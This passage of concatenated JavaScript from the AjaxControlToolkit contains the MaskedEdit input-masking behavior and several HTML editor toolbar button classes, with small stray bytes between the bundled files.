            begin = this._LogicLastPos+1;
        }
        if (begin < this._LogicFirstPos)
        {
            begin = this._LogicFirstPos;
        }
        return begin;
    }
    // Validate key at position in mask and/or filter
    //
    , _processKey : function(poscur,key) {
        var posmask = this._LogicMaskConv;
        //  9 = only numeric
        //  L = only letter
        //  $ = only letter and spaces
        //  C = only Custom - read from this._Filtered
        //  A = only letter and Custom
        //  N = only numeric and Custom
        //  ? = any digit
        var filter;
        if  (posmask.substring(poscur,poscur+1) == "9")
        {
            filter = this._charNumbers;
        }
        else if  (posmask.substring(poscur,poscur+1).toUpperCase() == "L")
        {
            filter = this._charLetters + this._charLetters.toLowerCase();
        }
        else if  (posmask.substring(poscur,poscur+1) == "$")
        {
            filter = this._charLetters + this._charLetters.toLowerCase() + " ";
        }
        else if  (posmask.substring(poscur,poscur+1).toUpperCase() == "C")
        {
            filter = this._Filtered;
        }
        else if  (posmask.substring(poscur,poscur+1).toUpperCase() == "A")
        {
            filter = this._charLetters + this._charLetters.toLowerCase() + this._Filtered;
        }
        else if  (posmask.substring(poscur,poscur+1).toUpperCase() == "N")
        {
            filter = this._charNumbers + this._Filtered;
        }
        else if  (posmask.substring(poscur,poscur+1) == "?")
        {
            filter = "";
        }
        else
        {
            return false;
        }
        if (filter == "")
        {
            return true;
        }
        // return true if we should accept the character.
        return (!filter || filter.length == 0 || filter.indexOf(key) != -1);
    }    
    //
    // create mask empty , logic mask empty
    // convert escape code and Placeholder to culture
    //
    , _createMask : function()
    {
        if (this._MaskConv == "" && this._Mask != "")
        {
            this._convertMask();
        } 
        var text = this._MaskConv;
        var i = 0;
        var masktext = "";
        var maskvld = "";
        var flagescape = false;
        this._LogicTextMask = "";
        this._QtdValidInput = 0;
        while (i < parseInt(text.length,10)) 
        {
            if (text.substring(i, i+1) == this._charEscape && flagescape == false) 
            {
                flagescape = true;
            }
            else if (this._CharsEditMask.indexOf(text.substring(i, i+1)) == -1) 
            {
                if (flagescape == true)
                {
                    flagescape = false;
                    masktext += text.substring(i,i+1);
                    maskvld += text.substring(i,i+1);
                    this._LogicTextMask += this._LogicEscape;
                }
                else
                {
                    if (this._CharsSpecialMask.indexOf(text.substring(i, i+1)) != -1) 
                    {
                        this._QtdValidInput ++;
                        if (text.substring(i, i+1) == "/")
                        {
                            masktext += this.get_CultureDatePlaceholder();
                            maskvld += "/";
                            this._LogicTextMask += this.get_CultureDatePlaceholder();
                        }
                        else if (text.substring(i, i+1) == ":")
                        {
                            masktext += this.get_CultureTimePlaceholder();
                            maskvld += ":";
                            this._LogicTextMask += this.get_CultureTimePlaceholder();
                        }
                        else if (text.substring(i, i+1) == ",")
                        {
                            masktext += this.get_CultureThousandsPlaceholder();
                            maskvld += ".";
                            this._LogicTextMask += this.get_CultureThousandsPlaceholder();
                        }
                        else if (text.substring(i, i+1) == ".")
                        {
                            masktext += this.get_CultureDecimalPlaceholder();
                            maskvld += ",";
                            this._LogicTextMask += this.get_CultureDecimalPlaceholder();
                        }
                    }
                    else
                    {
                        masktext += text.substring(i,i+1);
                        maskvld += text.substring(i,i+1);
                        this._LogicTextMask += text.substring(i,i+1);
                    }
                }
            } 
            else 
            {
                if (flagescape == true)
                {
                    flagescape = false;
                    masktext += text.substring(i,i+1);
                    maskvld += text.substring(i,i+1);
                    this._LogicTextMask += this._LogicEscape;
                }
                else
                {
                    this._QtdValidInput ++;
                    masktext += this._PromptChar;
                    maskvld += text.substring(i,i+1);
                    this._LogicTextMask += this._LogicPrompt;
                }
            }
            i++;
        }
        // Set First and last logic position
        this._LogicFirstPos = -1;
        this._LogicLastPos = -1;
        this._LogicLastInt = -1;
        this._LogicMask = this._LogicTextMask;
        for (i = 0 ; i < parseInt(this._LogicMask.length,10) ; i++) 
        {
            if (this._LogicFirstPos == -1 && this._LogicMask.substring(i,i+1) == this._LogicPrompt)
            {
                this._LogicFirstPos = i;
            }
            if (this._LogicMask.substring(i,i+1) == this._LogicPrompt)
            {
                this._LogicLastPos = i;
            }
            if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._InputDirection == AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)
            {
                if (this._LogicMask.substring(i,i+1) == this.get_CultureDecimalPlaceholder())
                {
                    this._LogicLastInt = i;
                }
            }
        }
        this._maskvalid = maskvld.substring(this._LogicFirstPos,this._LogicLastPos+1);
        this._EmptyMask = masktext;
    }
    //
    // return text without mask but with placeholders 
    //
    , _getClearMask : function(masktext)
    {
        var i = 0;
        var clearmask = "";
        var qtdok = 0;
        var includedec = false;
        while (i < parseInt(this._LogicTextMask.length,10)) 
        {
            if (qtdok < this._QtdValidInput)
            {
                if (this._isValidMaskedEditPosition(i) && this._LogicTextMask.substring(i, i+1) != this._LogicPrompt)
                {
                    if (clearmask == "" && includedec)
                    {
                        clearmask += "0" + this.get_CultureDecimalPlaceholder();
                        includedec = false;
                    }
                    clearmask += this._LogicTextMask.substring(i,i+1);
                    qtdok++;
                }
                else if (this._LogicTextMask.substring(i, i+1) != this._LogicPrompt && this._LogicTextMask.substring(i, i+1) != this._LogicEscape)
                {
                    if (this._LogicTextMask.substring(i,i+1) == this.get_CultureDatePlaceholder() && (this._MaskType == AjaxControlToolkit.MaskedEditType.Date || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime))
                    {
                        clearmask += (clearmask == "")?"":this.get_CultureDatePlaceholder();
                    }
                    else if (this._LogicTextMask.substring(i,i+1) == this.get_CultureTimePlaceholder() && (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime))
                    {
                        clearmask += (clearmask == "")?"":this.get_CultureTimePlaceholder();
                    }
                    else if (this._LogicTextMask.substring(i,i+1) == " " && this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
                    {
                        clearmask += (clearmask == "")?"":" ";
                    }
                    else if (this._LogicTextMask.substring(i,i+1) == this.get_CultureThousandsPlaceholder() && this._MaskType == AjaxControlToolkit.MaskedEditType.Number)
                    {
                        clearmask += (clearmask == "")?"":this.get_CultureThousandsPlaceholder();
                    }
                    else if (this._LogicTextMask.substring(i,i+1) == this.get_CultureDecimalPlaceholder() && this._MaskType == AjaxControlToolkit.MaskedEditType.Number)
                    {
                        clearmask += (clearmask == "")?"":this.get_CultureDecimalPlaceholder();
                        if (clearmask == "")
                        {
                            includedec = true;
                        }
                    }
                }
            }
            i++;
        }
        if (this._LogicSymbol != "" && clearmask != "")
        {
            if (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime)
            {
                clearmask += " " + this._LogicSymbol;
            }
            else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number)
            {
                clearmask = this._LogicSymbol + clearmask;
            }
        }
        return clearmask;    
    }
    //
    // Convert notation {Number} in PAD's Number
    //
    , _convertMask : function() 
    {
        this._MaskConv = "";
        var qtdmask = "";
        var maskchar = "";
        for (i = 0 ; i < parseInt(this._Mask.length,10) ; i++) 
        {
          if (this._CharsEditMask.indexOf(this._Mask.substring(i, i+1)) != -1)
          {
            if (qtdmask.length == 0)
            {
                this._MaskConv += this._Mask.substring(i, i+1);
                qtdmask = "";
                maskchar = this._Mask.substring(i, i+1);
            }
            else if (this._Mask.substring(i, i+1) == "9")
            {
                qtdmask += "9";
            }
            else if (this._Mask.substring(i, i+1) == "0")
            {
                qtdmask += "0";
            }
          }
          else if (this._CharsEditMask.indexOf(this._Mask.substring(i, i+1)) == -1 && this._Mask.substring(i, i+1) != this._DelimitStartDup && this._Mask.substring(i, i+1) != this._DelimitEndDup)
          {
            if (qtdmask.length == 0)
            {
                this._MaskConv += this._Mask.substring(i, i+1);
                qtdmask = "";
                maskchar = "";
            }
            else
            {
               if (this._charNumbers.indexOf(this._Mask.substring(i, i+1)) != -1)
               {
                qtdmask += this._Mask.substring(i, i+1);
               }
            }            
          }
          else if (this._Mask.substring(i, i+1) == this._DelimitStartDup && qtdmask == "")
          {
            qtdmask = "0";
          }
          else if (this._Mask.substring(i, i+1) == this._DelimitEndDup && qtdmask != "")
          {
            qtddup = parseInt(qtdmask,10) -1;
            if (qtddup > 0)
            {
                for (q = 0 ; q < qtddup ; q++) 
                {
                    this._MaskConv += maskchar;
                }
            }
            qtdmask = "";
            maskchar = "";
          }
        }
        // set first and last position in mask for Symbols
        var FirstPos = -1;
        var LastPos = -1;
        var flagescape = false;
        for (i = 0 ; i < parseInt(this._MaskConv.length,10) ; i++) 
        {
            if (this._MaskConv.substring(i, i+1) == this._charEscape && !flagescape) 
            {
                flagescape = true;
            }
            else if (this._CharsEditMask.indexOf(this._MaskConv.substring(i, i+1)) != -1 && !flagescape) 
            {
                if (FirstPos == -1)
                {
                    FirstPos = i;
                }
                LastPos = i;
            } 
            else if(flagescape) 
            {
                flagescape = false;
            } 
        }
        // set spaces for Symbols AM/PM
        if ( (this._MaskType == AjaxControlToolkit.MaskedEditType.Time || this._MaskType == AjaxControlToolkit.MaskedEditType.DateTime) && this._AcceptAmPm)
        {
            var ASymMask = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);
            var SymMask = "";
            if (ASymMask.length == 2)
            {
                SymMask = this._charEscape + " ";
                for (i = 0 ; i < parseInt(ASymMask[0].length,10) ; i++) 
                {
                    SymMask += this._charEscape + " ";
                }
            }
            this._MaskConv = this._MaskConv.substring(0,LastPos+1) + SymMask + this._MaskConv.substring(LastPos+1);
        }
        // set spaces for Symbols Currency
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number &&  this._DisplayMoney == AjaxControlToolkit.MaskedEditShowSymbol.Left)
        {
            var SymMask = "";
            for (i = 0 ; i < parseInt(this.get_CultureCurrencySymbolPlaceholder().length,10) ; i++) 
            {
                if (this._CharsEditMask.indexOf(this.get_CultureCurrencySymbolPlaceholder().substring(i, i+1)) == -1)
                {
                    SymMask += this.get_CultureCurrencySymbolPlaceholder().substring(i, i+1);
                }
                else
                {
                    SymMask += this._charEscape + this.get_CultureCurrencySymbolPlaceholder().substring(i, i+1);
                }
            }
            SymMask += this._charEscape + " ";
            this._MaskConv = this._MaskConv.substring(0,FirstPos) + SymMask + this._MaskConv.substring(FirstPos);
            FirstPos += SymMask.length;
            LastPos += SymMask.length;
        }
        // set spaces for Symbols negative
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._DisplayMoney == AjaxControlToolkit.MaskedEditShowSymbol.Right)
        {
            var SymMask = this._charEscape + " ";
            for (i = 0 ; i < parseInt(this.get_CultureCurrencySymbolPlaceholder().length,10) ; i++) 
            {
                if (this._CharsEditMask.indexOf(this.get_CultureCurrencySymbolPlaceholder().substring(i, i+1)) == -1)
                {
                    SymMask += this.get_CultureCurrencySymbolPlaceholder().substring(i, i+1);
                }
                else
                {
                    SymMask += this._charEscape + this.get_CultureCurrencySymbolPlaceholder().substring(i, i+1);
                }
            }
            this._MaskConv = this._MaskConv.substring(0,LastPos+1) + SymMask  + this._MaskConv.substring(LastPos+1);
        }
        if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative == AjaxControlToolkit.MaskedEditShowSymbol.Right)
        {
            this._MaskConv = this._MaskConv.substring(0,LastPos+1) + this._charEscape + " " + this._MaskConv.substring(LastPos+1);
        }
        else if (this._MaskType == AjaxControlToolkit.MaskedEditType.Number && this._AcceptNegative == AjaxControlToolkit.MaskedEditShowSymbol.Left)
        {
            this._MaskConv = this._MaskConv.substring(0,FirstPos) + this._charEscape + " " + this._MaskConv.substring(FirstPos);
        }
        this._convertMaskNotEscape();
    }
    //
    // Convert mask with escape to mask not escape
    // length is equal to real position 
    //
    , _convertMaskNotEscape : function()
    {
        this._LogicMaskConv = "";
        var atumask = this._MaskConv;
        var flagescape = false;
        for (i = 0 ; i < parseInt(atumask.length,10); i++) 
        {
            if (atumask.substring(i, i+1) == this._charEscape)
            {
                flagescape = true;
            }
            else if (!flagescape)
            {
                this._LogicMaskConv += atumask.substring(i, i+1);    
            }
            else
            {
                this._LogicMaskConv += this._LogicEscape;
                flagescape = false;
            }
        }
    }
    //
    // Helper properties
    //
    , get_Mask : function() {
        if (this._MaskConv == "" && this._Mask != "")
        {
            this._convertMask();
        } 
        return this._MaskConv;
    }
    , set_Mask : function(value) 
    {
        this._Mask = value;
        this.raisePropertyChanged('Mask');
    }
    , get_Filtered : function() 
    {
        return this._Filtered;
    }
    , set_Filtered : function(value) 
    {
        this._Filtered = value;
        this.raisePropertyChanged('Filtered');
    }    
    , get_InputDirection : function() 
    {
        return this._InputDirection;
    }      
    , set_InputDirection : function(value) 
    {
        this._InputDirection = value;
        this.raisePropertyChanged('InputDirection');
    }
    , get_PromptCharacter : function() 
    {
        return this._PromptChar;
    }      
    , set_PromptCharacter : function(value) 
    {
        this._PromptChar = value;
        this.raisePropertyChanged('PromptChar');
    }
    , get_OnFocusCssClass : function() 
    {
        return this._OnFocusCssClass;
    }      
    , set_OnFocusCssClass : function(value) 
    {
        this._OnFocusCssClass = value;
        this.raisePropertyChanged('OnFocusCssClass');
    }
    , get_OnInvalidCssClass : function() 
    {
        return this._OnInvalidCssClass;
    }      
    , set_OnInvalidCssClass : function(value) 
    {
        this._OnInvalidCssClass = value;
        this.raisePropertyChanged('OnInvalidCssClass');
    }
    , get_CultureName : function() 
    {
        return this._CultureName;
    }      
    , set_CultureName : function(value) 
    {
        this._CultureName = value;
        this.raisePropertyChanged('Culture');
    }
    , get_CultureDatePlaceholder : function() 
    {
        return this._CultureDatePlaceholder;
    }      
    , set_CultureDatePlaceholder : function(value) 
    {
        this._CultureDatePlaceholder = value;
        this.raisePropertyChanged('CultureDatePlaceholder');
    }      
    , get_CultureTimePlaceholder : function() 
    {
        return this._CultureTimePlaceholder;
    }      
    , set_CultureTimePlaceholder : function(value) 
    {
        this._CultureTimePlaceholder = value;
        this.raisePropertyChanged('CultureTimePlaceholder');
    }      
    , get_CultureDecimalPlaceholder : function() 
    {
        return this._CultureDecimalPlaceholder;
    }      
    , set_CultureDecimalPlaceholder : function(value) 
    {
        this._CultureDecimalPlaceholder = value;
        this.raisePropertyChanged('CultureDecimalPlaceholder');
    }      
    , get_CultureThousandsPlaceholder : function() 
    {
        return this._CultureThousandsPlaceholder;
    }      
    , set_CultureThousandsPlaceholder : function(value) 
    {
        this._CultureThousandsPlaceholder = value;
        this.raisePropertyChanged('CultureThousandsPlaceholder');
    }      
    , get_CultureDateFormat : function() 
    {
        var ret = this._CultureDateFormat;
        switch (this.get_UserDateFormat()) 
        {
            case AjaxControlToolkit.MaskedEditUserDateFormat.DayMonthYear:
            {
              ret = "DMY";
              break;
            }
            case AjaxControlToolkit.MaskedEditUserDateFormat.DayYearMonth:
            {
              ret = "DYM";
              break;
            }
            case AjaxControlToolkit.MaskedEditUserDateFormat.MonthDayYear:
            {
              ret = "MDY";
              break;
            }
            case AjaxControlToolkit.MaskedEditUserDateFormat.MonthYearDay:
            {
              ret = "MYD";
              break;
            }
            case AjaxControlToolkit.MaskedEditUserDateFormat.YearDayMonth:
            {
              ret = "YDM";
              break;
            }
            case AjaxControlToolkit.MaskedEditUserDateFormat.YearMonthDay:
            {
              ret = "YMD";
              break;
            }
        }
        return ret;
    }      
    , set_CultureDateFormat : function(value) 
    {
        this._CultureDateFormat = value;
        this.raisePropertyChanged('CultureDateFormat');
    }      
    , get_CultureCurrencySymbolPlaceholder : function() 
    {
        return this._CultureCurrencySymbolPlaceholder;
    }      
    , set_CultureCurrencySymbolPlaceholder : function(value) 
    {
        this._CultureCurrencySymbolPlaceholder= value;
        this.raisePropertyChanged('CultureCurrencySymbolPlaceholder');
    }   
    , get_CultureAMPMPlaceholder : function() 
    {
        var value = this._CultureAMPMPlaceholder;
        if (value.split(this._AMPMPlaceholderSeparator).length != 2 || value == this._AMPMPlaceholderSeparator) 
        {
            value = "";
        }
        if (this.get_UserTimeFormat() == AjaxControlToolkit.MaskedEditUserTimeFormat.TwentyFourHour)
        {
            value = "";
        }
        return value;
    }      
    , set_CultureAMPMPlaceholder : function(value) 
    {
        this._CultureAMPMPlaceholder = value;
        this.raisePropertyChanged('CultureAMPMPlaceholder');
    } 
    , get_CultureFirstLettersAMPM : function()  
    {
        if (this.get_CultureAMPMPlaceholder() != "")
        {
            var ASymMask = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);
            return (ASymMask[0].substring(0,1) + ASymMask[1].substring(0,1));
        }
        return "";
    }
    , get_CultureFirstLetterAM : function() 
    {
        if (this.get_CultureAMPMPlaceholder() != "")
        {
            var ASymMask = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);
            return ASymMask[0].substring(0,1);
        }
        return "";
    }   
    , get_CultureFirstLetterPM : function() 
    {
        if (this.get_CultureAMPMPlaceholder() != "")
        {
            var ASymMask = this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);
            return ASymMask[1].substring(0,1);
        }
        return "";
    }   
    , get_ClearMaskOnLostFocus : function() 
    {
        return this._ClearMaskOnLostfocus;
    }      
    , set_ClearMaskOnLostFocus : function(value) 
    {
        this._ClearMaskOnLostfocus = value;
        this.raisePropertyChanged('ClearMaskOnLostfocus');
    }      
    , get_MessageValidatorTip : function() 
    {
        return this._MessageValidatorTip;
    }      
    , set_MessageValidatorTip : function(value) 
    {
        this._MessageValidatorTip = value;
        this.raisePropertyChanged('MessageValidatorTip');
    }      
    , get_AcceptAMPM : function() 
    {
        return this._AcceptAmPm;
    }      
    , set_AcceptAMPM : function(value) 
    {
        this._AcceptAmPm = value;
        this.raisePropertyChanged('AcceptAmPm');
    }   
    , get_AcceptNegative : function() 
    {
        return this._AcceptNegative;
    }      
    , set_AcceptNegative : function(value) 
    {
        this._AcceptNegative= value;
        this.raisePropertyChanged('AcceptNegative');
    }   
    , get_DisplayMoney : function() 
    {
        return this._DisplayMoney;
    }      
    , set_DisplayMoney : function(value) 
    {
        this._DisplayMoney = value;
        this.raisePropertyChanged('DisplayMoney');
    }   
    , get_OnFocusCssNegative : function() 
    {
        return this._OnFocusCssNegative;
    }      
    , set_OnFocusCssNegative : function(value) 
    {
        this._OnFocusCssNegative= value;
        this.raisePropertyChanged('OnFocusCssNegative');
    }   
    , get_OnBlurCssNegative : function() 
    {
        return this._OnBlurCssNegative;
    }      
    , set_OnBlurCssNegative : function(value) 
    {
        this._OnBlurCssNegative= value;
        this.raisePropertyChanged('OnBlurCssNegative');
    }   
    , get_Century : function() 
    {
        return this._Century;
    }      
    , set_Century : function(value) 
    {
        this._Century= value;
        this.raisePropertyChanged('Century');
    }   
    , get_AutoComplete : function() 
    {
        return this._AutoComplete;
    }      
    , set_AutoComplete : function(value) 
    {
        this._AutoComplete = value;
        this.raisePropertyChanged('AutoComplete');
    }   
    , get_AutoCompleteValue : function() 
    {
        return this._AutoCompleteValue;
    }      
    , set_AutoCompleteValue : function(value) 
    {
        this._AutoCompleteValue = value;
        this.raisePropertyChanged('AutoCompleteValue');
    }   
    , get_MaskType : function() 
    {
        return this._MaskType;
    }      
    , set_MaskType : function(value) 
    {
        this._MaskType = value;
        this.raisePropertyChanged('MaskType');
    }   
    
    , get_ClearTextOnInvalid : function()
    {
        return this._ClearTextOnInvalid;
    }
    , set_ClearTextOnInvalid : function(value)
    {
        if(this._ClearTextOnInvalid !== value)
        {
            this._ClearTextOnInvalid = value;
            this.raisePropertyChanged('ClearTextOnInvalid');
        }
    }
    , get_ClipboardText : function() 
    {
        return this._ClipboardText;
    }      
    , set_ClipboardText : function(value) 
    {
        this._ClipboardText = value;
        this.raisePropertyChanged('ClipboardText');  
    }   
    , get_ClipboardEnabled : function()
    {
        return this._AllowCopyPaste;
    }
    , set_ClipboardEnabled : function(value)
    {
        this._AllowCopyPaste = value;
        this.raisePropertyChanged('ClipboardEnabled');
    }
    , get_ErrorTooltipEnabled : function()
    {
        return this._ShowMessageErrorFloat;
    }
    , set_ErrorTooltipEnabled : function(value)
    {
        this._ShowMessageErrorFloat = value;
        this.raisePropertyChanged('ErrorTooltipEnabled');
    }
    , get_ErrorTooltipCssClass : function()
    {
        return this._CssMessageErrorFloat;
    }
    , set_ErrorTooltipCssClass : function(value)
    {
        this._CssMessageErrorFloat = value;
        this.raisePropertyChanged('ErrorTooltipCssClass');
    }
    , get_UserDateFormat : function() 
    {
        return this._UserDateFormat;
    }      
    , set_UserDateFormat : function(value) 
    {
        this._UserDateFormat = value;
        this.raisePropertyChanged('UserDateFormat');
    }
    , get_UserTimeFormat : function() 
    {
        return this._UserTimeFormat;
    }      
    , set_UserTimeFormat : function(value) 
    {
        this._UserTimeFormat = value;
        this.raisePropertyChanged('UserTimeFormat');
    }
}
AjaxControlToolkit.MaskedEditBehavior.registerClass('AjaxControlToolkit.MaskedEditBehavior', AjaxControlToolkit.DynamicPopulateBehaviorBase);

// **************************************************
// Register enumerations  
// **************************************************
AjaxControlToolkit.MaskedEditType = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.MaskedEditInputDirections = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.MaskedEditShowSymbol = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.MaskedEditUserDateFormat = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.MaskedEditUserTimeFormat = function() {
    throw Error.invalidOperation();
}

AjaxControlToolkit.MaskedEditType.prototype = {
    None: 0,
    Date: 1,
    Number: 2,
    Time: 3,
    DateTime: 4
}

AjaxControlToolkit.MaskedEditInputDirections.prototype = {
    LeftToRight: 0,
    RightToLeft: 1
}

AjaxControlToolkit.MaskedEditShowSymbol.prototype = {
    None: 0,
    Left: 1,
    Right: 2
}

AjaxControlToolkit.MaskedEditUserDateFormat.prototype = {
    None: 0,
    DayMonthYear: 1,
    DayYearMonth: 2,
    MonthDayYear: 3,
    MonthYearDay: 4,
    YearDayMonth: 5,
    YearMonthDay: 6
}

AjaxControlToolkit.MaskedEditUserTimeFormat.prototype = {
    None: 0,
    TwentyFourHour: 1
}

AjaxControlToolkit.MaskedEditType.registerEnum('AjaxControlToolkit.MaskedEditType');
AjaxControlToolkit.MaskedEditInputDirections.registerEnum('AjaxControlToolkit.MaskedEditInputDirections');
AjaxControlToolkit.MaskedEditShowSymbol.registerEnum('AjaxControlToolkit.MaskedEditShowSymbol');
AjaxControlToolkit.MaskedEditUserDateFormat.registerEnum('AjaxControlToolkit.MaskedEditUserDateFormat');
AjaxControlToolkit.MaskedEditUserTimeFormat.registerEnum('AjaxControlToolkit.MaskedEditUserTimeFormat');
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("underline", false, null);
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._queryCommandState("underline");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);


�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("Indent");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.IncreaseIndent", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

;Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.initializeBase(this, [element]);
    
    this._normalSrc = "";
    this._hoverSrc = "";
    this._downSrc = "";
    this._activeSrc = "";
    this._downTimer = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.prototype = {

    get_normalSrc: function() {
        return this._normalSrc;
    },
    set_normalSrc: function(value) {
        this._normalSrc = value;
        var element = this.get_element();
        if (/none$/.test(element.src)) {
            element.src = value;
        }
    },

    get_hoverSrc: function() {
        return this._hoverSrc;
    },
    set_hoverSrc: function(value) {
        this._hoverSrc = value;
    },

    get_downSrc: function() {
        return this._downSrc;
    },
    set_downSrc: function(value) {
        this._downSrc = value;
    },

    get_activeSrc: function() {
        return this._activeSrc;
    },
    set_activeSrc: function(value) {
        this._activeSrc = value;
    },

    isImage: function() {
        return true;
    },

    _onmouseover: function(e) {
        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(this, "_onmouseover")) return false;
        if (this._hoverSrc.length > 0) {
            this.get_element().src = this._hoverSrc;
        }
        return true;
    },

    _onmouseout: function(e) {
        var node = this.get_element();
        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(this, "_onmouseout")) return false;
        if (this._hoverSrc.length > 0) {
            if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_mousedown") && this._downSrc.length > 0) {
                node.src = this._downSrc;
            } else {
                if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_active") && this._activeSrc.length > 0) {
                    node.src = this._activeSrc;
                } else {
                    node.src = this._normalSrc;
                }
            }
        }
        return true;
    },

    _onmousedown: function(e) {
        if (AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(this, "_onmousedown") === null) return null;
        if (this._downSrc.length > 0) {
            this.get_element().src = this._downSrc;
            this._downTimer = setTimeout(Function.createDelegate(this, this._onmouseup), 1000); // one second delay
        }
        return true;
    },

    _onmouseup: function(e) {
        var node = this.get_element();
        if (!AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(this, "_onmouseup")) return false;
        if (this._downSrc.length > 0) {
            if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_hover") && this._hoverSrc.length > 0) {
                node.src = this._hoverSrc;
            } else {
                if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_active") && this._activeSrc.length > 0) {
                    node.src = this._activeSrc;
                } else {
                    node.src = this._normalSrc;
                }
            }
            if (this._downTimer != null) {
                clearTimeout(this._downTimer);
                this._downTimer = null;
            }
        }
        return true;
    },

    setActivity: function(value) {
        var node = this.get_element();
        if (this._activeSrc.length > 0) {
            if (value) {
                if (!Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_active")) {
                    node.src = this._activeSrc;
                }
            } else {
                if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_active")) {
                    if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_mousedown") && this._downSrc.length > 0) {
                        node.src = this._downSrc;
                    } else {
                        if (Sys.UI.DomElement.containsCssClass(node, this._cssClass + "_hover") && this._hoverSrc.length > 0) {
                            node.src = this._hoverSrc;
                        } else {
                            node.src = this._normalSrc;
                        }
                    }
                }
            }
        }
        AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.callBaseMethod(this, "setActivity", [value]);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton);

yType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.prototype = {
    onEditPanelActivity: function() {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.callBaseMethod(this, "onEditPanelActivity");
        this.setActivity(this.checkState());
    },

    checkState: function() {
        if (!this.checkRangeInDesign()) return false;
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("Outdent");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

P// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
